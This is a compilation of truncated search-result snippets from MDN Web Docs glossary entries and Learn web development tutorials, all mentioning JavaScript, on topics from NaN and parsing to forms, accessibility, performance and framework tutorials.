JavaScript engine will directly interpret the function. Examples The function becomes a function expression which is immediately executed. The variable within the expression can not be accessed from outside it. (function () { var aName = "Barry"; })(); // Variable aName is not accessible from the outside scope aName // throws "Uncaught ReferenceError: aName is not defined" Assigning the IIFE to a ...
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
NaN (Not a Number) is a numeric data type that means an undefined value or value that cannot be represented, especially results of floating-point calculations. For example, NaNs can represent infinity, result of division by zero, missing value, or the square root of a negative (which is imaginary, whereas a floating-point number is real). Practically speaking, if I divide two variables in a
JavaScript program, the result may be NaN, which is predefined in
JavaScript as "undefined". Hence this division may break the program. Now, if this computation was a small part of a much larger algorithm, it would be really painful to figure out where the error actually occurs. Fortunately, since the result will be NaN and I know my divisor may turn out to be 0, I can set up testing conditions that prevent...
... part of a much larger algorithm, it would be really painful to figure out where the error actually occurs. Fortunately, since the result will be NaN and I know my divisor may turn out to be 0, I can set up testing conditions that prevent any such computations in the first place or notify me of where they happen. Learn more General knowledge NaN on Wikipedia Technical information NaN in
JavaScript ...
OOP - MDN Web Docs Glossary: Definitions of Web-related terms
OOP (Object-Oriented Programming) is an approach in programming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts.
JavaScript is heavily object-oriented. ...
... OOP (Object-Oriented Programming) is an approach in programming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts.
JavaScript is heavily object-oriented. ...
Operator - MDN Web Docs Glossary: Definitions of Web-related terms
Reserved syntax consisting of punctuation or alphanumeric characters that carries out built-in functionality. For example, in
JavaScript the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression -- for example making a true statement return false. ...
...g of punctuation or alphanumeric characters that carries out built-in functionality. For example, in
JavaScript the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression -- for example making a true statement return false. ...
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
The browser parses HTML into a DOM tree. HTML parsing involves tokenization and tree construction. HTML tokens include start and end tags, as well as attribute names and values. If the document is well-formed, parsing it is straightforward and faster. The parser parses tokenized input into the document, building up the document tree. When the HTML parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. ...
...ed, but <script> tags--particularly those without an async or defer attribute--blocks rendering, and pauses parsing of HTML. When the browser encounters CSS styles, it parses the text into the CSS Object Model (or CSSOM), a data structure it then uses for styling layouts and painting. The browser then creates a render tree from both these structures to be able to paint the content to the screen.
JavaScript is also downloaded, parsed, and then execute.
JavaScript parsing is done during compile time or whenever the parser is invoked, such as during a call to a method. Learn more General knowledge Parse on Wikipedia ...
Regular expression - MDN Web Docs Glossary: Definitions of Web-related terms
Regular expressions (or regex) are rules that govern which sequences of characters come up in a search. ...
...the Perl Implementation, which has given rise to its own ecosystem of implementations called PCRE (Perl Compatible Regular Expression). On the Web,
JavaScript provides another regex implementation through the RegExp object. ...
String - MDN Web Docs Glossary: Definitions of Web-related terms
In any computer programming language, a string is a sequence of characters used to represent text. In
JavaScript, a String is one of the primitive values and the String object is a wrapper around a String primitive. ...
... In any computer programming language, a string is a sequence of characters used to represent text. In
JavaScript, a String is one of the primitive values and the String object is a wrapper around a String primitive. ...
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
Although languages can share few similarities in terms of their syntaxes for example "operand operator operand" rule in
javaScript and python. ...
...tion and sequence of characters making up correctly structured code. Syntax generally includes grammar and the rules that apply to writing it, such as indentation requirements in Python. Syntax varies from language to language (e.g., syntax is different in HTML and
JavaScript). Although languages can share few similarities in terms of their syntaxes for example "operand operator operand" rule in
javaScript and python. This does not mean the two langauges share similarities with syntax. Syntax applies both to programming languages (commands to the computer) and markup languages (document structure information) alike. Syntax only governs ordering and structure; the instructions must also be meaningful, which is the province of semantics. Code must have correct syntax in order to compile correctly,...
Whitespace - MDN Web Docs Glossary: Definitions of Web-related terms
Whitespace is a set of characters which is used to show horizontal or vertical spaces between other characters. They are often used to separate tokens in HTML, CSS,
JavaScript, and other computer languages. Whitespace characters and their usage vary between languages. In HTML HTML Living Standard specifies 5 characters as the ASCII whitespace: U+0009 TAB, U+000A LF, U+000C FF, U+000D CR, and U+0020 SPACE. In the form of text, they are treated as normal space characters and sequential whitespaces are collapsed as a single space in many cases (this behavior can be changed by the white-space CSS property. ...
...haracters as the ASCII whitespace: U+0009 TAB, U+000A LF, U+000C FF, U+000D CR, and U+0020 SPACE. In the form of text, they are treated as normal space characters and sequential whitespaces are collapsed as a single space in many cases (this behavior can be changed by the white-space CSS property. They are also used as a separator of an element name and its parameters, class names, and so on. In
JavaScript ECMAScript(R) 2015 Language Specification specifies several Unicode codepoints as white space: U+0009 CHARACTER TABULATION <TAB>, U+000B LINE TABULATION <VT>, U+000C FORM FEED <FF>, U+0020 SPACE <SP>, U+00A0 NO-BREAK SPACE <NBSP>, U+FEFF ZERO WIDTH NO-BREAK SPACE <ZWNBSP> and Other category "Zs" Any other Unicode "Separator, space" code point <USP>. These characters are usually unnecessary for t...
MDN Web Docs Glossary: Definitions of Web-related terms
IFE IMAP Immutable Index IndexedDB Information architecture Inheritance Input method editor Instance Internationalization Internet Intrinsic Size IP Address IPv4 IPv6 IRC ISO ISP ITU J Jank Java
JavaScript JPEG jQuery JSON K Key Keyword L Latency Layout viewport Lazy load LGPL Ligature Local scope Local variable Locale Localization Long task Loop Lossless compression lossy compression LTR (Left To R...
...ceholder names Plaintext PNG Polyfill Polymorphism POP3 Port Prefetch Preflight request Prerender Presto Primitive Privileged privileged code Progressive Enhancement Progressive web apps Promise Property Property (CSS) Property (
JavaScript) Protocol Prototype Prototype-based programming Proxy server Pseudo-class Pseudo-element Pseudocode Public-key cryptography Python Q Quality values Quaternion QUIC R RAIL Random Number Generator Raster image RDF Re...
Assessment: Accessibility troubleshooting - Learn web development
Previous Overview: Accessibility In the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and
JavaScript, an understanding of the previous articles in the course. Objective: To test basic knowledge of accessibility fundamentals. Starting point To get this assessment started, you should go and grab the ZIP containing the files that comprise the example. Decompress the contents into a new directory somewhere on your local computer. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS, and
JavaScript into one of these online editors. If the online e...
...areable editor (as mentioned in step 1 above). ...
Mobile accessibility - Learn web development
lity Next With web access on mobile devices being so popular and renowned platforms such as iOS and Android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and
JavaScript, and an understanding of the previous articles in the course. Objective: To understand what problems exist with accessibility on mobile devices, and how to overcome them. Accessibility on mobile devices The state of accessibility -- and support for web standards in general -- is good in modern mobile devices. Long gone are the days when mobile devices ran completely different ...
...age. Language: Move between different translations, if they are available. Select Headings. Now you'll be able to swipe up and down to move between headings on the page. Note: For a more complete reference covering the VoiceOver gestures available and other hints on accessibility testing on iOS, see Test Accessibility on Your Device with VoiceOver. Control mechanisms In our CSS and
JavaScript accessibility article, we looked at the idea of events that are specific to a certain type of control mechanism (see Mouse-specific events). To recap, these cause accessibility issues because other control mechanisms can't activate the associated functionality. As an example, the click event is good in terms of accessibility -- an associated event handler can be invoked by clicking the element t...
What is accessibility? - Learn web development
d lawyer. We're not going to offer any more advice than this, because we're not lawyers. Accessibility APIs Web browsers make use of special accessibility APIs (provided by the underlying operating system) that expose information useful for assistive technologies (ATs) -- ATs mostly tend to make use of semantic information, so this information doesn't include things like styling information, or
JavaScript. This information is structured in a tree of information called the accessibility tree. Different operating systems have different accessibility APIs available : Windows: MSAA/IAccessible, UIAExpress, IAccessible2 Mac OS X: NSAccessibility Linux: AT-SPI Android: Accessibility framework iOS: UIAccessibility Where the native semantic information provided by the HTML elements in your web a...
...s important, and looked at how you can fit it into your workflow. ...
Debugging CSS - Learn web development
he rendered DOM the browser may have corrected some badly-written HTML for you. If you incorrectly closed an element, for instance opening an <h2> but closing with an </h3>, the browser will figure out what you were meaning to do and the HTML in the DOM will correctly close the open <h2> with an </h2>. The browser will also normalize all of the HTML, and the DOM will also show any changes made by
JavaScript. View Source in comparison, is simply the HTML source code as stored on the server. The HTML tree in your DevTools shows exactly what the browser is rendering at any given time, so it gives you an insight into what is really going on. Inspecting the applied CSS Select an element on your page, either by right/ctrl-clicking on it and selecting Inspect, or selecting it from the HTML tree on the l...
...If your markup is dynamically generated -- for example via a CMS -- make a static version of the output that shows the problem. A code sharing site like CodePen is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. You could start by doing View Source on the page and copying the HTML into CodePen, then grab any relevant CSS and
JavaScript and include it too. After that, you can check whether the issue is still evident. If removing the
JavaScript does not make the issue go away, don't include the
JavaScript. If removing the
JavaScript does make the issue go away, then remove as much
JavaScript as you can, leaving in whatever causes the issue. Remove any HTML that does not contribute to the issue. Remove components or even main el...
Responsive design - Learn web development
full-featured desktop version of the site. Flexible layout before responsive design A number of approaches were developed to try to solve the downsides of the liquid or fixed-width methods of building websites. In 2004 Cameron Adams wrote a post entitled Resolution dependent layout, describing a method of creating a design that could adapt to different screen resolutions. This approach required
JavaScript to detect the screen resolution and load the correct CSS. Zoe Mickley Gillenwater was instrumental in her work to describe and formalize the different ways in which flexible sites could be created, attempting to find a happy medium between filling the screen or being completely fixed in size. Responsive design The term responsive design was coined by Ethan Marcotte in 2010 and described the us...
...umn became narrower than the image's intrinsic size, but never grow larger. This enables an image to scale down to fit in a flexibly-sized column, rather than overflow it, but not grow larger and become pixellated if the column becomes wider than the image. The third key component was the media query. Media Queries enable the type of layout switch that Cameron Adams had previously explored using
JavaScript, using only CSS. Rather than having one layout for all screen sizes, the layout could be changed. Sidebars could be repositioned for the smaller screen, or alternate navigation could be displayed. It is important to understand that responsive web design isn't a separate technology -- it is a term used to describe an approach to web design or a set of best practices, used to create a layout that...
What text editors are available? - Learn web development
compatible packaging systems. That means, if you've set your heart on an obscure text editor, you may have to compile it from source yourself (not for the faint-hearted). What kind of technologies do I want to manipulate? Generally speaking, any text editor can open any text file. That works great for writing notes to yourself, but when you're doing web development and writing in HTML, CSS, and
JavaScript, you can produce some pretty large, complex files. Make it easier on yourself by choosing a text editor that understands the technologies you're working with. Many text editors help you out with features like: Syntax highlighting. Make your file more legible by color-coding keywords based on the technology you're using. Code completion. Save you time by auto-completing recurring structures (f...
...ippets. As you saw when starting a new HTML document, many technologies use the same document structure over and over. Save yourself the hassle of retyping all this by using a code snippet to pre-fill your document. Most text editors now support syntax highlighting, but not necessarily the other two features. Make sure in particular that your text editor supports highlighting for HTML, CSS, and
JavaScript. What kind of basic features do I expect from my text editor? It depends on your needs and plans. These functionalities are often helpful: Search-and-replace, in one or multiple documents, based on regular expressions or other patterns as needed Quickly jump to a given line View two parts of a large document separately View HTML as it will look in the browser Select text in multiple plac...
How much does it cost to do something on the Web? - Learn web development
epending on the plan you purchase. Some of them, like Microsoft Visual Studio, can cost hundreds, or thousands of dollars; though Visual Studio Express is free for individual developers or open source projects. Often, for-pay editors will have a trial version. To start, we suggest trying out several editors, to get a sense of which works best for you. If you're only writing simple HTML, CSS, and
Javascript, go with a simple editor. Price does not reliably reflect a text editor's quality or usefulness. You have to try it for yourself and decide if it meets your needs. For example, Sublime Text is cheap, but comes with many free plugins that can greatly extend its functionality. Image editors Your system likely includes a simple image editor, or viewer: Paint on Windows, Eye of Gnome on Ubuntu, Pr...
... You need to upload content to a remote server (see Hosting below), so you need a modem. Your ISP can rent Internet connectivity to you for a few dollars per month, though your budget might vary, depending on your location. ISP access Make sure that you have sufficient bandwidth: Low-bandwidth access may be adequate to support a 'simple' website: reasonably-sized images, texts, some CSS and
JavaScript. That will likely cost you a few dozen dollars, including the rent for the modem. On the other hand, you'll need a high-bandwidth connection, such as DSL, cable, or fiber access, if you want a more advanced website with hundreds of files, or if you want to deliver heavy video/audio files directly from your web server. It could cost the same as low-bandwidth access, upwards to several hundred dol...
What is a web server? - Learn web development
h engine. Objective: You will learn what a web server is and gain a general understanding of how it works. Summary The term web server can refer to hardware or software, or both of them working together. On the hardware side, a web server is a computer that stores web server software and a website's component files. (for example, HTML documents, images, CSS stylesheets, and
JavaScript files) A web server connects to the Internet and supports physical data interchange with other devices connected to the web. On the software side, a web server includes several parts that control how web users access hosted files. At a minimum, this is an HTTP server. An HTTP server is software that understands URLs (web addresses) and HTTP (the protocol your browser uses to view webpages). An H...
...wser sends a request to the web server, which searches for the requested file in its own storage space. Upon finding the file, the server reads it, processes it as-needed, and sends it to the browser. Let's look at those steps in more detail. Hosting files First, a web server has to store the website's files, namely all HTML documents and their related assets, including images, CSS stylesheets,
JavaScript files, fonts, and video. Technically, you could host all those files on your own computer, but it's far more convenient to store files all on a dedicated web server because: A dedicated web server is typically more available. (up and running) Excusing downtime and systems troubles, a dedicated web server is always connected to the Internet. A dedicated web server can have the same IP addres...
How do you set up a local testing server? - Learn web development
r command followed by an alternative port number, e.g. python3 -m http.server 7800 (Python 3.x) or python -m SimpleHTTPServer 7800 (Python 2.x). You can then access your content at localhost:7800. Running server-side languages locally Python's SimpleHTTPServer (python 2.0) http.server (python 3.0) module is useful, but it doesn't know how to run code written in languages such as Python, PHP or
JavaScript. To handle that you'll need something more -- exactly what you'll need depends on the server-side language you are trying to run. Here are a few examples: To run Python server-side code, you'll need to use a Python web framework. Flask is also a good (slightly less heavyweight) alternative to Django. To run this you'll need to install Python/PIP, then install Flask using pip3 install flask. At...
...er-side code, you'll need to use a Python web framework. Flask is also a good (slightly less heavyweight) alternative to Django. To run this you'll need to install Python/PIP, then install Flask using pip3 install flask. At this point you should be able to run the Python Flask examples using for example python3 python-example.py, then navigating to localhost:5000 in your browser. To run Node.js (
JavaScript) server-side code, you'll need to use raw node or a framework built on top of it. Express is a good choice. To run PHP server-side code, launch PHP's built-in development server: $ cd path/to/your/php/code $ php -S localhost:8000 ...
Other form controls - Learn web development
ded when the data is submitted. <textarea> also takes a closing tag, and any default text you want it to contain should be put between the opening and closing tags. In contrast, the <input> is an empty element with no closing tag -- any default value is put inside the value attribute. Note that even though you can put anything inside a <textarea> element (including other HTML elements, CSS, and
JavaScript), because of its nature, it is all rendered as if it was plain text content. (Using contenteditable on non-form controls provides an API for capturing HTML/"rich" content instead of plain text). Visually, the text entered wraps and the form control is by default resizable. Modern browsers provide a drag handle that you can drag to increase/decrease the size of the text area. The following scree...
...s, we'll take a look at Styling them. ...
Styling web forms - Learn web development
beyond some basic styling (such as changing the width or margin of the control) you generally don't have the ability to style the controls' internal components (such as the date picker calendar, or the button on the <select> that causes the options list to display) making up those widgets. If you want to thoroughly customize those widgets, you really have to create your own using HTML, CSS, and
JavaScript. This is beyond the scope of the core form articles, but we do look at this in an advanced article How to build custom form controls. Note: there are some proprietary CSS pseudo-elements available that allow you to style internal components of these form controls, such as ::-moz-range-track, but these are not consistent across browsers, so can't be relied upon. We will mention these later as we...
...into the "bad" and "ugly" categories. ...
Your first form - Learn web development
set button resets all the form widgets to their default value immediately. From a UX point of view, this is considered bad practice, so you should avoid using this type of button unless you really have a good reason to include one. A click on a button button does... nothing! That sounds silly, but it's amazingly useful for building custom buttons -- you can define their chosen functionality with
JavaScript. Note: You can also use the <input> element with the corresponding type to produce a button, for example <input type="submit">. The main advantage of the <button> element is that the <input> element only allows plain text in its label whereas the <button> element allows full HTML content, allowing more complex, creative button content. Basic form styling Now that you have finished writing y...
...n this module will help you to master the rest. ...
Web forms — Working with user data - Learn web development
Basic native form controls guide. Mastering forms however requires more than just HTML knowledge -- you also need to learn some specific techniques to style form controls, and some scripting knowledge is required to handle things like validation and creating custom form controls. Therefore, before you look at the other sections listed below we'd recommend that you go away and learn some CSS and
JavaScript first. The above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the HTML, CSS, and
JavaScript topic areas -- form elements are more complex than most other HTML elements, and they also require a close marriage of related CSS and
JavaScript techniques to get the most out of them. Note: If you are working on a comp...
...How to build custom form controls You'll come across some cases where the native form widgets just don't provide what you need, e.g. because of styling or functionality. In such cases, you may need to build your own form widget out of raw HTML. This article explains how you'd do this and the considerations you need to be aware of when doing so, with a practical case study. Sending forms through
JavaScript This article looks at ways to use a form to assemble an HTTP request and send it via custom
JavaScript, rather than standard form submission. It also looks at why you'd want to do this, and the implications of doing so. (See also Using FormData objects.) CSS property compatibility table for form controls This last article provides a handy reference allowing you to look up what CSS properties a...
Dealing with files - Learn web development
site folder. images folder: This folder will contain all the images that you use on your site. Create a folder called images, inside your test-site folder. styles folder: This folder will contain the CSS code used to style your content (for example, setting text and background colors). Create a folder called styles, inside your test-site folder. scripts folder: This folder will contain all the
JavaScript code used to add interactive functionality to your site (e.g. buttons that load data when clicked). Create a folder called scripts, inside your test-site folder. Note: On Windows computers, you might have trouble seeing the file names, because Windows has an option called Hide extensions for known file types turned on by default. Generally, you can turn this off by going to Windows Explorer, s...
...if you are developing your website on Windows, you should still use forward slashes in your code. What else should be done? That is about it for now. Your folder structure should look something like this: Previous Overview: Getting started with the web Next In this module Installing basic software What will your website look like? Dealing with files HTML basics CSS basics
JavaScript basics Publishing your website How the web works ...
Installing basic software - Learn web development
iles on servers (Git is increasingly replacing FTP for this purpose). There are loads of (S)FTP programs available including Cyberduck, Fetch and FileZilla. An automation system, like Webpack, Grunt, or Gulp to automatically perform repetitive tasks, such as minifying code and running tests. Libraries, frameworks, etc., to speed up writing common functionality. A library tends to be an existing
JavaScript or CSS file that provides ready-rolled functionality for you to make use of in your code. A framework tend to take this idea further, offering a complete system with some custom syntaxes for you to write a web app on top of. More tools besides! What tools do I actually need, right now? That looks like a scary list, but fortunately, you can get started in web development without knowing anythi...
...a project that requires support for it. ...
Publishing your website - Learn web development
you need to build a multi-tiered web application from scratch or host a static website. See How do you host your website on Google App Engine? for more information. These options are usually free, but you may outgrow the limited feature-set. Using a web-based IDE such as CodePen There are a number of web apps that emulate a website development environment, allowing you to enter HTML, CSS and
JavaScript, and then display the result of that code as a website -- all in one browser tab. Generally speaking, these tools are relatively easy, great for learning, good for sharing code (for example, if you want to share a technique with or ask for debugging help from colleagues in a different office), and free (for basic features). They host your rendered page at a unique web address. However, the featur...
...Deploy a Website: A nice tutorial from Codecademy that goes a bit further and shows some additional techniques. Cheap or Free Static Website Hosting by Scott Murray has some useful ideas on available services. Previous Overview: Getting started with the web Next In this module Installing basic software What will your website look like? Dealing with files HTML basics CSS basics
JavaScript basics Publishing your website How the web works ...
Advanced text formatting - Learn web development
that don't require paragraph breaks.</q></p> Browser default styling will render this as normal text put in quotes to indicate a quotation, like so: Citations The content of the cite attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. There is no way to get the browser to display the contents of cite, without writing your own solution using
JavaScript or CSS. If you want to make the source of the quotation available on the page you need to make it available in the text via a link or some other appropriate way. There is a <cite> element, but this is meant to contain the title of the resource being quoted, e.g. the name of the book. There is no reason however why you couldn't link the text inside <cite> to the quote source in some way: <p>Acco...
...am. Let's look at a few examples. ...
Debugging HTML - Learn web development
ing any programming language or code is familiarity with both the language and the tools. HTML and debugging HTML is not as complicated to understand as Rust. HTML is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). And HTML's element syntax is arguably a lot easier to understand than a "real programming language" like Rust,
JavaScript, or Python. The way that browsers parse HTML is a lot more permissive than how programming languages are run, which is both a good and a bad thing. Permissive code So what do we mean by permissive? Well, generally when you do something wrong in code, there are two main types of error that you'll come across: Syntax errors: These are spelling errors in your code that actually cause the progra...
...metimes fixing an earlier error will also get rid of other error messages -- several errors can often be caused by a single problem, in a domino effect. You will know when all your errors are fixed when you see the following banner in your output: Summary So there we have it, an introduction to debugging HTML, which should give you some useful skills to count on when you start to debug CSS,
JavaScript, and other types of code later on in your career. This also marks the end of the Introduction to HTML module learning articles -- now you can go on to testing yourself with our assessments: the first one is linked below. Previous Overview: Introduction to HTML Next In this module Getting started with HTML What's in the head? Metadata in HTML HTML text fundamentals Creating hyperli...
HTML text fundamentals - Learn web development
is software provides ways to get fast access to given text content. Among the various techniques used, they provide an outline of the document by reading out the headings, allowing their users to find the information they need quickly. If headings are not available, they will be forced to listen to the whole document read out loud. To style content with CSS, or make it do interesting things with
JavaScript, you need to have elements wrapping the relevant content, so CSS/
JavaScript can effectively target it. We therefore need to give our content structural markup. Active learning: Giving our content structure Let's jump straight in with a live example. In the example below, add elements to the raw text in the Input field so that it appears as a heading and two paragraphs in the Output field. If...
...le by search engines and screen readers (as mentioned above). On the other hand, you could make any element look like a top level heading. Consider the following: <span style="font-size: 32px; margin: 21px 0; display: block;">Is this a top level heading?</span> This is a <span> element. It has no semantics. You use it to wrap content when you want to apply CSS to it (or do something to it with
JavaScript) without giving it any extra meaning. (You'll find out more about these later on in the course.) We've applied some CSS to it to make it look like a top level heading, but since it has no semantic value, it will not get any of the extra benefits described above. It is a good idea to use the relevant HTML element for the job. Lists Now let's turn our attention to lists. Lists are everywhere in l...
Function return values - Learn web development
e last essential concept about functions for us to discuss -- return values. Some functions don't return a significant value, but others do. It's important to understand what their values are, how to use them in your code, and how to make functions return useful values. We'll cover all of these below. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS,
JavaScript first steps, Functions -- reusable blocks of code. Objective: To understand function return values, and how to make use of them. What are return values? Return values are just what they sound like -- the values that a function returns when it has completed. You've already met return values a number of times, although you may not have thought about them explicitly. Let's ...
...ple HTML page containing a text <input> field and a paragraph. There's also a <script> element, in which we have stored a reference to both HTML elements in two variables. This little page will allow you to enter a number into the text box, and display different numbers related to it in the paragraph below. Let's add some useful functions to this <script> element. ...
Test your skills: Events - Learn web development
nload the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). DOM manipulation: considered useful Some of the questions below require you to write some DOM manipulation code to complete them -- such as creating new HTML elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via
JavaScript. We haven't explicitly taught this yet ...
...ou to do some research into what DOM APIs you need to successfully answer the questions. A good starting place is our Manipulating documents tutorial. Events 1 In our first events-related task, you need to create a simple event handler that causes the text inside the button (btn) to change when it is clicked on, and change back when it is clicked again. The HTML should not be changed; just the
JavaScript. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Events 2 Now we'll look at keyboard events. To pass this assessment you need to build an event handler that moves the circle around the provided canvas when the WASD keys are pressed on the keyboard. The circle is drawn with the f...
Client-side web APIs - Learn web development
When writing client-side
JavaScript for web sites or applications, you will quickly encounter Application Programming Interfaces (APIs). APIs are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other web sites or services. In this module, we will explore what APIs are, and how to use some of the most common APIs you'll come across often in your development work. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites To get the most out of this module, you should have worked your way through the previous
JavaScript modules in the series (First steps, Building blocks, and Jav...
...gether a course that includes all the essential information you need to work towards your goal. Get started Prerequisites To get the most out of this module, you should have worked your way through the previous
JavaScript modules in the series (First steps, Building blocks, and
JavaScript objects). Those modules typically involve simple API usage, as it is often difficult to write client-side
JavaScript examples without them. For this tutorial, we will assume that you are knowledgable about the core
JavaScript language, and we will explore common Web APIs in a bit more detail. Basic knowledge of HTML and CSS would also be useful. Note: If you are working on a device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding pro...
Arrays - Learn web development
t In the final article of this module, we'll look at arrays -- a neat way of storing a list of data items under a single variable name. Here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what
JavaScript is. Objective: To understand what arrays are and how to manipulate them in
JavaScript. What is an array? Arrays are generally described as "list-like objects"; they are basically single objects that contain multiple values stored in a list. Array objects can be stored in variables and dealt with in much the same way as any other type of value, the difference being that we can ...
... Test your skills! You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Arrays. Conclusion After reading through this article, we are sure you will agree that arrays seem pretty darn useful; you'll see them crop up everywhere in
JavaScript, often in association with loops in order to do the same thing to every item in an array. We'll be teaching you all the useful basics there are to know about loops in the next module, but for now you should give yourself a clap and take a well-deserved break; you've worked through all the articles in this module! The only thing left to do is work through this module's assessment, which will test...
Test your skills: JSON - Learn web development
our Working with JSON article. Note: You can try out the solution in the interactive editor below. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). JSON 1 The one and only task in this article concerns accessing JSON data and using it in your page. JSON data about some mother cats and their kittens is available in sample.json. The JSON is loaded into the page as a text string and made available in the catString parameter of the displayCatInfo() function, called when the provided promise c...
...eate the finished example: Warning: To answer this question, you'll need to write your code into the live code window above. The example won't work locally, or in an environment like CodePen or JSFiddle, because of something called cross-origin security. This basically means that you can't request a file from one origin using code on a different origin. In the live code editor above, both the
JavaScript code and the requested JSON file are on the same origin (the code sits on a GitHub repo, and is embedded here in an <iframe>). If you put your code on CodePen for example, it would fail because the JSON it is requesting is not on the same origin. You can get around these restrictions using CORS, but this is beyond the scope of what we are teaching here. Assessment or further help You can pract...
Measuring performance - Learn web development
. You can use the API for metrics related to all of the navigation events displayed in the didagram below. The Performance API, which provides access to performance-related information for the current page, includes the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API. These interfaces allows the accurate measurement of the time it takes for
JavaScript tasks to complete. The PerformanceEntry object is part of the performance timeline. A performance entry can be directly created by making a performance mark or measure (for example by calling the mark() method) at an explicit point in an application. Performance entries are also created in indirect ways; such as loading a resource, like an image. The PerformanceObserver API can be used to obser...
... web app or site. Next up, you'll look at perceived performance and some techniques to make unavoidable performance hits appear less severe to the user, or disguise them completely. Previous Overview: Performance Next In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video
JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
Multimedia: Images - Learn web development
rmance is far lower than many expect. However, images are mostly used for content, so it's important that a visitor can see them as soon as possible for a good experience. Loading strategy One of the biggest improvements to most websites is lazy-loading images beneath-the-fold, rather than downloading them all on initial page load regardless of whether a visitor scrolls to see them or not. Many
JavaScript libraries can implement this for you, such as lazysizes, and browser vendors are working on a native lazyload attribute that is currently in the experimental phase. Beyond loading a subset of images, next you should look into the format of the images themselves: Are you loading the most optimal file formats? Have you compressed the images well? Are you loading the correct sizes? The most ...
...This is just one of the types of media consuming users bandwidth and slowing down page load. Let's take a look at video optimization, tackling the next 20% of bandwidth consumption. Previous Overview: Performance Next In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video
JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
Perceived performance - Learn web development
of a passive wait can make it feel faster. There are tips and tricks to follow. Some of these quick tips have full articles if you want to dive deeper. Displaying content, or at least some part of the page with an indication that content is loading, as quickly as possible, is essential to improving perceived performance. For example, because page render is blocked by loading and parsing CSS and
JavaScript, minimizing the amount of CSS and JS that needs to be loaded on initially will have a major impact on improving perceived performance. Even though the bytes might be the same, not blocking the page from rendering makes the load feel faster. Here are a few tips and tricks to help improve performance: Minimize initial load To improve perceived performance, minimize the original page load. In oth...
...ontent downloaded, rendered, and responded more quickly. Now that we know what we should be speeding up, let's take a look at some metrics and learn how we can measure these events. Previous Overview: Performance Next In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video
JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
Learning area release notes - Learn web development
ease leave comments in our Discourse forum. June 2020 Our Front-end web developer learning pathway is officially launched! Check it out for an opinionated pathway to follow for learning front-end development! Also see our hacks post -- Introducing the MDN Web Docs Front-end developer learning pathway -- for more information about the rationale behind it. May 2020 Our Understanding client-side
JavaScript frameworks module is now available. Learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla
JavaScript you may already know. Once you have a general understanding of frameworks, move on to tutorial series covering popular frameworks like React, Ember, and Vue. Our Web Forms learning modu...
...l 2020 Our new Understanding client-side web development tools module has been released! Learn the essentials of web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain. March 2020 You'll now find "Test your skills" assessments accompanying the articles in the following modules: CSS building blocks
JavaScript first steps
JavaScript building blocks Introducing
JavaScript objects January 2020 The HTML forms module has been significantly updated: It has been retitled Web forms, and moved out of the HTML topic area to recognise that it covers more than just HTML form elements -- it also covers styling, validation, the basics of how to send data and process it on the server, and more besides. It h...
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Now it's time to start tackling the footer functionality in our app. Here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). We'll also wire up our "Clear completed" button. Along the way, we'll learn about using conditional rendering in our templates. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. A deeper understanding of modern
JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. ...
...makes sense to have all persistent-state-changing operations be in the same place. Summary That's enough for now. At this point, not only can we mark todos as complete, but we can clear them as well. Now the only thing left to wire up the footer are the three filtering links: "All", "Active", and "Completed". We'll do that in the next article, using Routing. ...
Using Vue computed properties - Learn web development
Previous Overview: Client-side
